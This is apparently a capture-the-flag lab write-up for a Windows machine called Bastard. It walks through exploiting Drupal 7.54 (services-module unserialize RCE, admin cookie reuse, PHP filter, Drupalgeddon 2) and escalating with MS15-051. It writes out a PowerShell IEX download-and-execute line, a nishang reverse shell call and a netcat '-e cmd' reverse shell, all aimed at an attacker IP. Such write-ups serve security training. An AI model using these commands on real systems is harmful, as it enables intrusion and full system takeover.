**Bastard**

Difficulty: Medium

OS: Windows

**Nmap**

Performing an nmap scan, we find only port 80 is open.

|  |
| --- |

Checking the drupal version, we see it is v. 7.54

**Drupal**

|  |
| --- |

Looking up an exploit for this version, we see there is Drupalgeddon and the manual version of it with an unserialize exploit.

<https://www.ambionics.io/blog/drupal-services-module-rce>

For the above exploit, we need to know the endpoint in drupal. Typically this is “rest\_endpoint.” After leaving it as the default, we have an endpoint error. I tried a fuzz scan but found nothing. After this, I only messed with the name “rest\_endpoint”, trying different combinations. The real endpoint is actually “rest”. Executing the php script after this change, we get the following confirmation.

|  |
| --- |

Following ippsec here, he creates a custom php shell script that allows him to execute code and upload files from a http server running on port 8000. In this custom code, “phpCode” is a variable that holds everything between ‘EOD’ which makes a file and we do not have to escape quotes. This variable first checks if ‘fupload’ is set and if so uploads a file from our web server on port 8000. If that is not set, then it checks if ‘fexec’ is set and if so, executes whatever code is put into that variable.

|  |
| --- |

For some reason this exploit did not work, however it did grab the administrator cookie session name and value, meaning we can pass them into the web server and become administrator.

|  |
| --- |

Putting this information into a custom cookie.

|  |
| --- |

After this, going to the main drupal page logs us in as the administrator user.

|  |
| --- |

**Drupal Admin**

Once logged in as the drupal admin, going over to the “modules” tab on the top right and scrolling down, we find a module named “PHP filter.” This module will give us code execution.

|  |
| --- |

Enabling this module, we can make a new article which will execute php code for us.

|  |
| --- |

Running this, we get the phpinfo page, meaning we have code execution.

I attempted to do a php reverse shell, but that ended up not working out for me either.

**Drupalgeddon 2**

I instead went over to Drupalgeddon 2. Once I got a shell with drupalgeddon, I sent a nishang reverse powershell shell back to me.

|  |
| --- |

I put the following at the end of the “Invoke-PowerShellTcp.ps1” script

| *Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.34 -Port 9000* |
| --- |

After this was all set up, I executed code through powershell to get a reverse shell

| *powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.34:8000/Invoke-PowerShellTcp.ps1')* |
| --- |

**User**

First thing I did was upload and run Sherlock to see if there are any quick and easy vulnerabilities for privilege escalation.

| *IEX(new-object net.webclient).downloadstring('http://10.10.14.34:8000/Sherlock/Sherlock.ps1');Find-AllVulns* |
| --- |

The results took a while, but there are a couple hits

|  |
| --- |

Going back a little, I decided to check “systeminfo” and we see the server is a Windows 2008 R2 build with no hotfixes installed. This is a big red flag and should have been done first before running Sherlock

NOTE, we can check what services are running on a machine with the following

| *Sc query state = all* |
| --- |

Following the vulnerabilities above, I use MS15-051 from a github called “windows-kernel-exploits.” In there is a zipped file containing a 64 bit executable. I attempted to use “IEX” to get it on the server but that failed. I instead went and created a smb server through impact scripts. Doing this allowed me to upload the executable and achieve favorable results

|  |
| --- |

| \\10.10.14.34\share\ms15-051x64.exe "whoami” |
| --- |

Taking this a step further, we can upload a netcat executable to send back to us a shell as administrator. To do this, I put the exploit above and the 64 bit netcat executable in the same folder, then opened a smb server. Utilizing the same command from above, we replace the “whoami” with another query to my smb server to grab the netcat executable and run it on the target server. The goal is to get netcat to run and send us back a shell which is successfully done.

|  |
| --- |

| *\\10.10.14.34\share\ms15-051x64.exe "\\10.10.14.34\share\nc64.exe -e cmd 10.10.14.34 9002"* |
| --- |

|  |
| --- |

Rooted